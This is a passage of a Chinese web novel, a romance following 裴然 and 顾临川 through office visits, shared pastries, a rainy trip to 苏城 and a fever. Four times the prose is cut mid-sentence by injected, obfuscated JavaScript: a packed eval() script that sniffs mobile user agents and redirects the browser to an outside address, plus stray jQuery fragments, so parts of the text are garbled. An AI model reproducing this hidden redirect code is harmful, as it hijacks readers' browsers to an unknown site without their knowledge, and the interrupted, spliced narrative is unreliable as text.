裴然这才想起来,顾辰回国后也入职了盛信,便说:“顾总。”
前台小姐问:“好的,请问您有预约吗?”
裴然点点头,“我跟顾总通过电话。”
前台小姐正准备打电话到秘书处进行确认。
身后的电梯“叮”地一声打开,走出来一位西装革履的男人,目光精准落到裴然身上。
前台小姐:“陈特助。”
陈特助干脆利落:“下次裴先生来,不用拦着。”
前台立刻点头应下,职业礼貌的微笑染上几分惊讶。
总助没再多言,只是侧身做了个“请”的手势,语气比对着前台时柔和了些许:“裴先生,这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057467|194889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
边请。”
陈特助引着裴然特意往人群里走了一遭,最后停在办公室门前,轻轻敲了两下,同时低声汇报:“顾总,裴先生到了。”
说完,便朝裴然微微一笑,欠身离开。
裴然推门而入,顾临川还在埋头处理文件,见他站在门口,朝他招招手:“进来。”
裴然将手提袋晃了晃,问他:“顾总,放哪?”
顾总这个称呼新奇,裴然讲完自己先忍俊不禁,总觉得面前的人还是年少时期的少年,多年后再见,已经是成熟稳重的大人了。
仔细瞧瞧,眉眼间似乎还能窥见几分青春肆意的影子。
顾临川指了指小沙发,示意他放那里,看了一眼外面,阴沉许久的天空终于落下雨。
顾临川悄悄看了看裴然的后颈和发丝,没有被淋湿的迹象,松了口气。
裴然顺着他的眼神看过去,恰好被挡住视线,便微微俯下身,与他视线保持一致,歪着头。
顾临川感受到裴然头顶的发丝轻轻擦过脸颊,鼻尖传来幽幽的桂花香,身子触电般一僵,瞳孔骤然紧缩,喉咙干涩沙哑:“你干什么?”
裴然直起身,眼神清白无辜:“看看你在看什么?”
“没看什么。”顾临川面无表情,翻开桌子上的文件,那几秒甚至一个字也没读进去,余光瞥见角落的蛋糕,才想起,“蛋糕你拿走吃吧。”
裴然又顺着目光看向角落包装精致的小蛋糕,露出惊喜的神色,“你不吃吗?”
“助理订的下午茶,不是我喜欢的口味,看在你冒雨送衣服的份上,给你吃吧。”顾临川说起谎话脸不红心不跳,仍是一副冷静自持模样,末了又补充一句,“不是专门给你买的。”
“我知道的。”裴然捧起蛋糕,心里甜丝丝的,哪怕这是顾临川不喜欢才给他的,抿着唇还是掩盖不住笑意,“我很喜欢,谢谢你。”
“嗯。”顾临川淡淡应声,面上不显,却忍不住抬眼看他。
裴然衣服也送到了,蛋糕也收下了,便没有理由留下,同他告别:“我先走了。”
顾临川起身拿起一旁的大衣,“下雨了,我送你。”
裴然摆手拒绝,“我自己开车来的,不用麻烦了。”
顾临川便点点头,把衣服放下,重新坐了回去。
裴然提着小蛋糕出门,走出去又折返回来,扒着办公室大门,探出一点脑袋,眨眨眼问:“下次见?”
顾临川被回马枪杀的一愣,转而压制住疯狂上扬的嘴角,故作冷静的点点头,“嗯。”
裴然满意地离开,像一只收获满满的小猫,手里的蛋糕,也像是扛在肩头的小鱼干,是勇敢者的战利品。
裴然离开后,顾临川假装十分认真地处理工作。
若是此刻陈特助站在身后的话,便会扶额苦笑,提醒自家老板您把文件拿反了。
终于,顾临川站起身,缓缓靠近沙发。
拿起袋子,里面静静躺着那件大衣,顾临川把它取出来,手心捏着领口摩挲,又凑近了一点,放在脸颊侧,不自觉地蹭了蹭,却没有意料中的桂花香,他皱起眉,又抓起衣服嗅了嗅其他地方。
衣服里飘出一张白色纸条,字体清隽挺拔,笔锋又带着几分不易察觉的锐利,如同其人一般。
上面写着:衣服送干洗店清洗过哦,很干净的!
顾临川脸上表情变化莫测,最终黑着一张脸把衣服丢到一旁。
11. 第 11 章
第二日清晨,早起办公,浑身散发着低气压的顾临川坐在主位,听着负责人讲述他们的年末报告,气压又低了几分。
参会人员纷纷低着头,努力降低存在感,连呼吸都小心些。
他们又看着顾临川拿起震动一下的手机,眉梢微挑,像是看到了什么好消息,整个人犹如多云转晴,眉目含笑。
一直到会议结束,顾临川仍是春风得意的模样,平时毒舌的嘴此时竟出口安慰,让他们在接下来新的一年继续努力。
众人吓得不轻,惊恐抬起头,想确认自家老板是不是被夺舍了。
但顾临川没给这个机会,说完就飞速离开会议室,手里还捏着手机,嘴角带着一抹笑。
顾临川仔仔细细盯着手机,不放过任何一处细节,确认着的确是裴然发来的好友申请,盯着看了又看,好半天才按下同意申请。
裴然坐在办公室里修改手稿,揉了揉酸涩的眼睛,拿着铅笔打算继续埋头画,手机在口袋里传来一阵震动。
裴然惊喜,赶紧摘下眼镜,拿出手机,果然是顾临川同意了申请,裴然从表情包里找到一个合适的打招呼发了过去。
裴然:【猫猫探头.jpg】
顾临川看着手机里一只小猫从盒子里探出头来喵喵叫的表情包,想起裴然这样做的模样,忍俊不禁,手里倒是收敛,只回了一个问号。
裴然昨夜早上也不知道怎么想的,深夜时分,坐在沙发边上把蛋糕小口小口吃掉后,突然有了勇气。
抓着Leo的肩,莫名其妙地发问:“你相信我吗?”
Leo正在看综艺,嘻嘻哈哈的笑得不停,生怕错过精彩片段,便赶紧回答:“相信相信。”
于是裴然一把拿起手机,打算发去好友申请,但又看时间已晚,怕打扰到顾临川,便一直等到第二天上班之时。
裴然看着问号也开心,捧着手机嘿嘿傻乐。
庭婷推门进来,见状赶紧捂住眼睛,大喊着:“我什么也没看见,我真的什么也没看见。”作势就要关门。
裴然被吓一跳,手机差点飞出去,但还是立刻冷静下来,“进来吧。”
庭婷一个闪身就进来了,这次坐在裴然办公桌角,小声地八卦:“谁啊?”
裴然收起手机,“下次进来要敲门。”
庭婷撇撇嘴,不乐意了:“不是你说让我自由些,想进来就进来吗?”
裴然忘了是自己定下的规矩,噎了噎,转移话题:“找我什么事?”
“之前你不是说年前要去苏城吗?机票和绣娘坊我都替你约好了,和你确认一下时间。”庭婷从桌子上下来,拿着平板给他看,“没问题的话,我就下去准备了?”
裴然看了眼时间,刚好他送Leo上了飞机之后就可以飞往苏城了,便点点头,示意没问题。
庭婷抓着平板就要走,到门口又折返回去,狐疑地盯着裴然,强迫他直视自己:“不是顾辰吧?”
“想哪去了?”裴然无奈地戳了戳她眉心,“当然不是,我只把顾辰当弟弟。”
“你把人家当弟弟,人家不一定把你当哥哥。”庭婷听到否定回答,勉强放下心,还是忍不住出声提醒,“顾辰做朋友挺好的,但是你千万别跟他谈恋爱,我也说不清楚原因,反正你别谈。”
庭婷一开始对顾辰没那么排斥的,毕竟顾辰帅气多金人也体贴,初到英国,多有不适应,但是顾辰安排总是周到细致,让人挑不出毛病。
后面几次联谊会,顾辰还为她挡过几个烂桃花,她当时觉得裴然若是能走出上一个人的阴影,和顾辰在一起,也不是不可以。
直到后来,一次醉酒,她看到顾辰看向裴然的眼神,不是温柔不是缱绻,那是一种近乎贪婪的眼神,笑意未达眼底,像在看一只落入陷阱的猎物。
她下意识地想起,顾临川的眼神,是柔和的雀跃的,他每一次看向裴然眼里都会瞬间亮起来,像藏着星光,爱意已经满到快要溢出来。
从那之后,她便开始观察顾辰,越发确定顾辰并不是真心喜欢。
裴然被她说的一愣,很少见庭婷对谁露出如此明显的不喜,微微诧异:“你们闹矛盾了?”
“没有,我跟他能有什么矛盾。”庭婷摆摆手,“我只是提醒你,找男朋友要擦亮眼睛。”
裴然试图掩盖,笑着说:“没谈,只是和朋友在聊天。”
庭婷自有判断,不信他的话,一脸我看你狡辩的神色。
裴然画了一天的稿,手指保持同样姿势有些酸痛,裴然揉了揉,收拾东西打算下班。
刚上车,Leo便发来消息,说非常想吃云锦斋的糕点,拜托裴然绕路去为他买一份。
见状,裴然便调头,去了云锦斋买糕点,鬼使神差的,他对着服务员说:“麻烦打包两份,谢谢。”
等回过神来,手里已经提着两份绿豆糕和桂花酥走出了门口。
裴然看着手里的糕点,拿出手机给顾临川发了一个表情包。
裴然:有空吗?【小猫招手.jpg】
对面几乎秒回:有事?
裴然给他拍了一张提着糕点的照片。
裴然:云锦斋的糕点很好吃,你想尝尝吗?
对面隔了一会儿才回复:可以。
裴然扬起眉,把手机收起来,驱车前往顾临川的公司。
前台小姐得了吩咐,这次看见他,便主动朝他微笑。
裴然也礼貌回应,按照记忆上了电梯。
陈特助在门口接他,“顾总还在开会,您先去办公室稍等一会儿。”
裴然想着家里Leo那张嗷嗷待哺的嘴,便说:“麻烦你转交给他,可以吗?我就先走了。”
陈特助笑容一僵,紧忙拦住他,询问:“裴先生等下有急事吗?”
裴然想了想,“没有。”
“那您还是到办公室稍等一下吧。”陈特助松了一口气,安抚他,“顾总很快便好。”
裴然找不出拒绝的话,便给Leo发信息,说会晚些回,进了办公室等待。
陈特助给他沏好茶,摆上小零食便离开了。
关上门,陈特助拍了拍胸脯,胆战心惊,差点把人放跑了。
几个好事胆大的围上来,小声问:“陈助,那是谁啊?长得好帅啊。”
另一人也附和:“对呀,第一次来的时候我就觉得他好漂亮。”
陈特助正有此意向大家介绍,便说:“这位是顾总的心上人,你们注意分寸,不要拍照不要议论,跟着我一起叫声裴先生即可。”
众人噢了一声,更加好奇了,纷纷停下手上工作,陈特助也满足他们的好奇,挑了些能讲的给他们说。
顾临川会议没开多久,结束后便疾步回了办公室。
推开门,便看见裴然规规矩矩坐在沙发上,面前的茶喝了一半,零食倒是一点没动。
见他进来,裴然站起身,朝他走来,走到面前却又欲言又止,说不出话来。
顾临川朝他摊手,讨要糕点:“吃的呢?”
裴然便递给他一盒,叮嘱他保鲜期短,尽量早点吃完。
还有一盒静静躺在沙发上,顾临川看了一眼,收回视线,不经意问起:“你不是不爱吃绿豆糕?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057468|194889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>裴然一愣,解释说:“给朋友带的,不是我吃。”
顾临川皱着眉,继续追问:“哪个朋友?和你同居那个?”
“不是同居,只是暂住。”裴然怕他误会,赶紧解释清楚,“他是我在英国的同学,这次他来看我们,所以我就让他暂住在我家。”
“那这个是给他买的时候,顺手给我买的了?”顾临川仍旧拧着一双眉。
见顾临川纠结于这种小事,裴然噗嗤一声笑起来,抚上他的眉心,轻轻揉开。
两人皆是一愣,裴然触电般收回手指,指尖仿佛还残留着顾临川肌肤的余温。
“抱歉,我不是故意的。”裴然赶紧道歉。
顾临川猛地转过身,提着糕点往外走,“走了。”
裴然失神地盯着自己的指尖,见他已经走远,只剩下一个背影,回过神来快步跟上。
顾临川一路将他送到车前,才终于停下,对视后两人皆是无言。
裴然坐上了车,摇下车窗,朝他挥挥手:“下次见。”
顾临川点点头:“嗯。”
顾临川长身玉立,像冬日里一棵挺拔的松柏,静静看着裴然的奔驰缓缓离去。
车影越来越小,小成了视野里一个模糊的黑点,最后在尽头彻底消失。
世界突然安静下来,只剩下风穿过树梢的声响,和他胸腔里不断跳动的心脏。
顾临川回去时,撞上陈特助。
陈特助手里拿着文件,忙得飞起,还有闲心关心这盒糕点:“裴先生送的?顾总好福气,味道如何?”
顾临川打开食盒,递过去:“尝尝?”
陈特助不至于这么没眼力见,笑着婉拒了。
奔驰缓缓停下,裴然从车内探身出来,快步回了家。
刚打开门,Leo便梨花带雨地扑上来控诉裴然,“怎么去了这么久?我都快馋死了。”
裴然下意识心虚,把糕点递给他,“快吃吧。”
Leo抓着食盒流口水,拿起一块放进嘴里,眼里顿时亮起光:“然!你也尝尝!简直太美味了!”
裴然不爱吃绿豆糕,但不想扫兴,于是尝了一小块,口感软糯,甜而不腻,确实味道很好。
Leo又往嘴里塞了第二块,问起:“你刚刚去做什么了?”
裴然脱衣服的手一顿,尽量保持平常:“去见了一个朋友。”
Leo噢了一声,也不再问,专心吃着糕点,还不忘给裴然留了一块桂花糕。
裴然砸吧着嘴里的绿豆糕味,突然想起白天的事情,惊觉不对劲,顾临川怎么会记得自己不爱吃绿豆糕这件事。
难道说顾临川想起来了些什么?
裴然拿出手机,给顾临川发消息确认。
裴然:你怎么会记得我不爱吃绿豆糕呀?【猫猫疑惑.jpg】
裴然守着手机等了好半晌,对面才回复。
顾临川:戚贺昀说的。
顾临川:刚刚在洗澡。
顾临川:哪来这么多表情包?
裴然松了口气,同时又觉得心里空落落的,顾临川若是能想起来,可能现在直接就把他删了。
裴然:你不喜欢吗?那我以后不发了。
顾临川:没说不喜欢,你发你的。
裴然便又从表情包库里面找到几只萌萌的小猫,存下来后留着备用。
裴然:【猫猫晚安.jpg】
是一只三花猫对着镜头伸懒腰,最后凑上来蹭了蹭镜头。
顾临川转身又进了浴室,洗了个冷水澡后冷静下来,才回复他。
顾临川:晚安。
12. 第 12 章
年底,正处新旧交替之时,圣诞的节味还未淡去,大街小巷又忙挂上迎新年的装饰。
裴然起了个大早,见窗外仍是雾茫茫一片,便知今日又是一个晴光煦暖的好天气。
Leo在他后面起床,洗漱好后便蹲在客厅最后确认一次行李,最后关上,可怜兮兮地蹲在地上不肯起来。
裴然端着三明治和牛奶从厨房出来,笑着走过去拉他:“怎么还跟小孩子一样?”
Leo对裴然的依赖感在此刻达到顶峰,鼻头一酸就要哭出来:“然,我不想走。”
裴然拿毕业论文和导师跟他讲道理,又说他已经长大了,最后担保尽快回英国看他,Leo才肯罢休。
裴然去苏城的机票就在Leo之后,所以送Leo的时候也带上了自己的行李。
到机场的时候,顾辰过来送两人,Leo见到故人,离别之情又涌上来。
跟着顾辰在大厅抱头痛哭。裴然感到头疼,上前将两人分开。
Leo又轻轻抱了一下裴然,吸了吸鼻子,依依不舍地朝他们挥手:“然,你要快点来,我会想念你的。”
裴然拍了拍他的脑袋,目送他转身朝登机口走去。
云雾已经散去,天光大亮,Leo在阳光明媚中来,又从阳光明媚中离开。
裴然被阳光刺得眯起眼睛,觉得此刻的天气很衬Leo,青春阳光的少年,就应该这样自由随性的走在阳光下。
顾辰替他拿着行李箱,转到另一个登机口登机,难免也有些不舍:“怎么这么急?不能年过完了再去吗?”
“我先去适应两天,跨完年绣娘上班我再跟着学习。”裴然倒没所谓,跨年对他而言不过是日期的变化,他伸手接过行李箱,“最多一个月,我就回来了。”
顾辰点点头,也站在原地目送裴然进入登机口。
没过多久,飞机缓缓滑向跑道,引擎的轰鸣声由远及近,巨大的机身拔地而起,朝着湛蓝的天际飞去。
落地苏城,便没了好天气的照拂,整个城市阴云笼罩,时不时落下喷雾状的雨。
裴然仍是在南城的那副搭配,黑色夹克配上高领毛衣,要风度不要温度。
下飞机便被阴冷的天气狠狠打脸,接连打了几个喷嚏。
裴然先打车去了订下的民宿。
期间,司机听出他不是本地人,笑着问他是不是来旅行的。
苏城话软糯婉转、清和温润,听来如吴侬软语,自带江南水乡的韵味。
可惜裴然听得一知半解,只好扬起笑脸,冲对方点了点头。
下车时,司机师傅用不流畅的普通话对他说:“我代表苏城人民,欢迎你,祝你玩得开心。”
这句话裴然全听懂了,“谢谢你。”
外面仍是阴雨连绵,裴然开了空调仍觉不暖和,咬咬牙,从行李箱最底下翻出秋裤套上,浑身才渐渐热起来。
因着要在此地久住,裴然花了点时间收拾。
外面喷雾一般的雨丝还在下,裴然今日就吃过一顿早饭,此刻忙活一阵,早已饿得饥肠辘辘。
向店家借了一把大伞,裴然站在门口站了一会儿,仍觉冷,又转身回去拿了围巾和手套。
这种雨完全视雨伞于无物,见缝插针地顺着风飘进来。
裴然就近找了家面馆,店面生意很火爆,裴然运气好,恰好坐到角落一个位置上。
裴然点了一碗素面,鲜美又清爽,清香可口。
裴然呼噜呼噜地吃着,眼前突然落下一阵阴影。
裴然手一顿,微微仰头,想看清来人,下一秒,瞳孔骤然紧缩。
顾临川居高临下看着他,见他嘴里还叼着面条,但呆愣在原地,便觉好笑。
低低的笑声把裴然思绪拉回,裴然赶紧把面吃下,拿纸擦了擦嘴,“顾先生,真巧。”
顾临川不理他,慢条斯理地在他面前坐下,抽出筷子仔细擦了擦。
店员这时也端着面跑过来,放在顾临川面前:“先生,您的面,请慢用。”
没得到回应,裴然也不觉得尴尬,将桌上的醋往前推了推,向他推荐:“加点醋味道会更好,要不要试试?”
顾临川浅浅皱了眉,似乎对醋这个字眼很不爽,拒绝:“我从不吃醋。”
“好吧。”裴然收回手,趁机又往自己碗里倒了点。
醋这东西,就像盐一样,自觉少了便是合适,再加一些,口味就会变。
裴然这碗面醋味太浓,剩下几口裴然被酸的眯了眯眼。
见顾临川也抬手动筷,他便腾出几分心神,偷偷看他。
顾临川吃面的动作慢条斯理,活脱脱不像在街头巷尾的小饭店,倒像是在米其林餐厅品鉴珍馐。
分明是不落凡尘的清冷仙子,又偏偏染上几分烟火气。
裴然盯着盯着,对面人已经细嚼慢咽地吃完,起身准备离开了。
裴然赶紧起身跟上,见他没有带伞,主动上前给他撑伞:“你住哪里?我送你回去吧。”
两人此刻挨得很近,说话间冒出的热气都在交缠。
顾临川低头盯着他,好一会儿才说:“不用了,我叫了司机。”
裴然只好点点头,伞仍撑在两人头顶,站在他身侧。
片刻,顾临川的手机响了,裴然自觉后退一步,是一个保证能给他挡雨但是又不显冒昧的距离。
站远了些,仍是听到电话对面依稀传来“太窄”“进不去”的字眼。
电话挂断,裴然又鼓起勇气问他:“是不是车子开不进来?”
顾临川偏头,“耳朵这么好?”
裴然赶紧自证清白:“我没有偷听啊,是电话声音太大了,我不小心听到的。”
顾临川脸色很臭,但至少没有不理人:“我又没说什么。”
裴然笑了笑,撑着伞问他:“那我送送你?”
顾临川这回没拒绝,从他手里接过伞,和他站近了点,“走吧。”
裴然借了一把大伞,但是两个大男人一起撑仍有些小,两个人只得走越走近,几乎快要靠在一起。
顾临川撑伞也偏心,伞面大部分朝着裴然倾斜着,细细密密的雨落在肩头,他浑然不觉,只是垂眸看着身旁的人。
裴然今日酒红色卫衣配上黑色棉服,手上戴着小狗爪子手套,站在他身边像一个青春的学生。
七年过去,岁月没在他身上留下太多痕迹,笑起来仍会不自觉眨眼。
裴然拉了拉他的衣角,问他有没有听到自己说话。
顾临川这才回过神来,又盯着他红润的唇,几秒后移开视线:“再说一次,没听清楚。”
这边是闹市,人声嘈杂,入耳皆是温软的吴语。
裴然于是又说一次:“你不要把伞往我这边靠,风都是朝你那边刮的,你肩膀都淋湿了。”
说完,裴然抓着伞柄,避开顾临川的手,稍微用力,往顾临川那边倾斜。
顾临川挑了挑眉,没拒绝,任由他和自己一起撑伞。
街边穿碎花布衫的小姐姐扬着嗓子吆喝起来:“走过路过勿要错过!手工绣的荷包,装得下香粉,藏得住心意——先生太太,不来挑一个么?”
小姐姐眼光尖,一眼便瞧见顾临川这一身价值不菲,吆喝声更甜了些:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057469|194889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“先生要看看吗?给家里姊妹带些回去,定能让她们欢喜。”
顾临川正打算拒绝,裴然眼尖,一眼便瞧见荷包上绣着的是缠枝莲,顿时起了兴趣。
裴然站在摊前,荷包淡淡的莲花香萦绕在鼻尖,“姐姐,你们这些荷包,用的都是苏绣的针法吗?”
“这位小哥哥好眼力!”碎花布衫的小姐姐闻言,眼睛一亮,指尖点着荷包上的针脚,“您来摸摸看,都是一针一线亲手绣出来的,质感和那些机器绣的可不一样。”
裴然依言摸了摸,针法确是手工不错,当即扬起一个笑脸,“姐姐,给我拿一个吧,缠枝莲图案的。”
小姐姐应声,从货担格子里取出一个全新的荷包,一边替他包装,一边用吴语软声细语地问:“小哥哥这是送给心上人的吗?”
裴然压根没听懂,只好眨眨眼,对小姐姐一笑,戳了戳顾临川的腰,求救一般偷瞟顾临川。
顾临川睨他一眼,大手抚上他的后颈,不轻不重一捏,裴然听懂暗示,笑着说:“是的是的。”
小姐姐万分感慨,将荷包递给他,送上真诚的祝福:“二位慢走。”
这句话是普通话,但顾临川仍是一捏,裴然像提线木偶,“嗯嗯,谢谢姐姐。”
回去路上,裴然把玩着手里的荷包,问起那两句话,是什么意思。
顾临川想也没想:“她问你,是不是要把这个荷包送给身边的这位先生。”
“真的吗?”裴然总觉得有些不对,但是奈何自己听不懂,“那你怎么让我点头啊?”
顾临川墨色深沉,盯着他,好半晌才问他:“那你要送给谁?”
“谁也不送,我自留。”裴然勾着荷包打转的动作一顿,努力维持自然的声线,“再说了,你不是马上要订婚了,不适合收下了。”
顾临川撑着伞站在原地,问他:“你很在意?”
“没有。”裴然欲盖弥彰,脸上闪过一丝痛苦。
“我们只是普通朋友,为什么没有理由收下这份荷包?”顾临川语气平静,却句句诛心,“妍宜不是那种善妒的人。”
裴然停下脚步,声音很轻:“看来你们感情很稳定。”
“我在问你,为什么不能送给我?”顾临川状似不解,步步紧逼,“你在心虚什么?”
他在内心疯狂摇头,祈求顾临川不要再问他,他根本无法在他面前在坦然地说违心的话,更回答不了这个问题。
两人不知不觉已经走出闹市,街道两旁人影渐少,寒风呼呼在耳畔吹着,裴然低着头,顾临川站在他面前,眼神落在裴然毛绒绒的发顶。
两人谁也没有开口,僵持着站在道路旁,仿佛这个问题没有回答之前,谁也不会挪动一步。
“没有……没有心虚。”裴然把伞往顾临川身前推了推,紧张地咽下唾沫,喉咙发紧,“你喜欢我送给你就是了。”
说完,也不等顾临川反应,将荷包一把塞进他手中,飞速收回手,怕冷似的塞进口袋。
“我没说我喜欢。”顾临川盯着手心的荷包。
裴然眼睛倏地瞪大,脸上泛起被戏弄的红,喘着气:“你不喜欢就还给我!”
顾临川熟练地躲开,把荷包藏在背后,理不直气也壮:“你已经送给我了。”
裴然气呼呼地偏头,自顾自地朝前快步走,不想再跟他讲话。
雨势渐小,裴然把雨伞收起来,已经走到了民宿附近,裴然小跑几步,走进小巷子,转身回头同他挥手告别。
顾临川在原地站了很久,指尖摩挲着荷包,直到指尖上的温度彻底褪去,才拍了拍打湿的肩头,转身离开。
13. 第 13 章
烟雨江南,阴雨连绵,院子里面的腊梅幽香扑鼻,雨滴淅淅沥沥滴在上面,花朵不堪重负微微低垂,显出几分可怜的意味。
院子里还有一丛山茶花,寒风中,山茶开得正盛,民宿老板撑着伞在院子里照料着。
裴然总觉身上冷,脑袋也昏沉,早上起来之后又搭了一件披肩,只当是小感冒,仍旧在民宿大堂晃晃悠悠,招猫逗狗。
民宿养了三只小猫和两只小狗,裴然动物缘很好,不一会儿便惹得小猫争先往他怀里钻,小狗也乖乖蹲坐在脚边。
民宿老板忙里忙外的,进来拿了红灯笼又匆匆出去,见此情形,哟了一声,笑着打趣:“小裴好幸运的,平时这些小家伙傲着呢。”
裴然怀里是一只小三花,懒洋洋地在他胸口踩奶。
“是吗?”闻言,裴然低头看着小猫,鼻尖凑近蹭了蹭,“承蒙小猫兄的关爱了。”
见状,老板轻声笑了笑,不忍打扰,走到一旁把窗花拆开,整理好。
临了出门前,裴然好奇地问:“哥,这是做什么呢?”
老板边往外走,边说:“给院子里弄一点装饰,跨年嘛,仪式感要有的。”
原来已经是新的一年了。
裴然感觉心脏像是被什么东西轻轻撞了一下,钝钝的。
随后紧紧搂着小猫,但仍感觉冷,冷意像是有了实体,从脚底往上爬,一直蔓延到四肢百骸。
小猫突然开始挣扎,裴然手一松,怀里的温暖骤然消失,裴然有几分猝不及防的恍然。
老板回头问他,是不是夜里睡得沉,错过了晚上的烟花。
“可能是。”裴然打了两个喷嚏,把肩上的披肩拢了拢,盯着院子里红色的流苏,默然片刻,“我也来帮忙吧。”
老板连忙摆手拒绝,但裴然坚持,说运动一下更暖和。老板便也答应了,正好看中裴然的身高。
“小裴,你帮我把这个挂在腊梅树上可以吗?”老板从盒子里取出一串串小吊牌,上面是各地旅客留下的祝福语。
裴然欣然答应,三两下便爬上扶梯,弯下腰从老板手中接过祝福小吊牌。
腊梅清冽的香气就在鼻尖萦绕,裴然深深吸一口,一个一个把吊牌小心翼翼地挂上去。
老板在下面替他扶住楼梯,叮嘱:“小心些,挂在枝桠上就行,再深了容易摔下来。”
裴然踮起脚,往深处挂了一个吊牌,不甚在意地点点头,示意老板安心。
不知怎的,忽然抬眼往民宿外的街道望了过去。
淅淅沥沥的雨还在下,打湿了青石板路,也打湿了行色匆匆的人群。
隔着熙熙攘攘的人群,裴然一眼就认出来那抹熟悉的身影,心脏猛地漏了一拍。
他忘了自己还站在梯子上,忘了自己还在挂祝福红牌,整个人定在原地,目光紧紧黏在那道身影上。
“小裴,不好挂吗?”扶着梯子的老板仰头喊他,以为他被高处的枝桠难住了,“心意到了就好,能挂多少是多少。”
裴然这才回神,看到老板担忧的眼神,歉意地笑笑:“没事,刚刚走神了。”
就在这时,街道上那道身影微微侧头,随即若有所思地抬起头。
裴然心不在焉地挂完,四目相对的一瞬间,时间仿佛都被按下了暂停键。
对视的目光太热烈,裴然最先败下阵来,心慌移开视线。
等挂完下一个,再抬起头,街上哪里还有顾临川的身影,裴然茫然地东张西望,最终确定他已经离开。
又往上挂了几个,裴然胸口一阵闷,眼前也晕乎起来。
裴然晃了晃脑袋,打算从梯子上下来,民宿大门传来哒哒哒的脚步声。
接着是老板娘的招客声:“先生您好,欢迎来到本店,请问您有预约吗?”
来人言简意赅,只说:“抱歉,我来找人。”
熟悉的声音,是顾临川!
裴然猛地抬起头,三步并作两步想从扶梯上下来。
老板见他这么急,也不明原因,只是伸手紧紧扶着梯子:“慢点慢点,小心摔着了。”
话音刚落,裴然晕乎乎地脚下虚浮,右脚不慎踏空,重重摔在地上。
老板吓一跳:“小裴,没事吧?”
这边动静不小,门口的老板娘和顾临川也循声望过来。
几乎是一瞬间,顾临川便出现在裴然身前,赶在老板之前,俯身一把将人抱起来。
随后在老板和老板娘震惊的目光中,顾临川把人稳稳托在怀中,头也不回地离开了。
裴然倒在他怀中,怔怔地望着他,似乎不敢相信眼前人是真的。
顾临川视线扫过他发红的脸颊和胸膛,最后停在他磨破皮还渗着血珠的手掌上。
“房间在哪?”
“那边。”
“嗯。”
裴然直觉顾临川情绪不佳,应该是生气了,但他不知道原由。
推开门,顾临川阔步走进去,俯身把他轻放在床上,又从柜子里找到医药箱。
“伸手。”顾临川一手拿着碘伏,一手朝他摊开,示意他放上来。
裴然听话地把手摊开,放在他掌心。
院子里铺的是鹅卵石,摔倒时裴然没有防备,两只手重重擦伤,此刻还在渗着血,混着石缝里的细沙粘在伤口上。
碘伏刚摁上去,裴然就疼得呲牙,手下意识往回缩,顾临川手快,一把抓住手腕。
顾临川手上动作轻了些,“很疼吗?”
“有点。”裴然额角渗出细汗,手指蜷缩,眼睛泪汪汪的,看起来很可怜。
顾临川不知道又想到什么,眼底心疼一闪而过,残忍地说:“忍着。”
“哦。”
处理完伤口,裴然把伤口放在嘴边吹了吹,安慰一下自己。
顾临川把医药盒放好后就离开了,不知去向。
过了一会儿,裴然等得都快睡着,顾临川才拿着体温计上楼。
“含着。”顾临川递到他嘴边,“不舒服就躺下。”
裴然一愣,摸了摸额头:“不烫吧,我没发烧。”
顾临川看他一眼,裴然立马噤声,乖乖张嘴。
鲜红的舌尖先伸出来,勾住体温计,再含进嘴里。
顾临川闭了闭眼,脑海里闪过许多危险的想法,最终叹息一声,坐在床头守着。
五分钟后,将温度计取出来一看,已经三十八度了。
裴然一惊,难怪早上穿再多也不觉得暖和,头也晕晕的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057470|194889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
顾临川把温度计收好,打算下楼还给老板。
裴然一把抓住他的手腕,扯到伤口没忍住嘶了一声,他哑着嗓子问:“你要走了吗?”
“只是去还温度计。”
裴然固执地刨根问底:“那还完呢?”
顾临川担心他伤口,伸手想拉开,但此刻裴然手劲惊人,顾临川不敢使劲。
“你想让我陪你吗?”顾临川站在床边,居高临下地盯着他,身上不知何时染上的腊梅花香,混合着清冽的橘香,让人感到心安。
裴然被熏得眼睛都眯起来了,困意让眼皮不停打颤,“我是病人,还是伤患,你不能让我一个人。”
“还完就上来。”顾临川妥协。
听到了想要的回答,裴然才松开手,眼睛一闭,睡了过去。
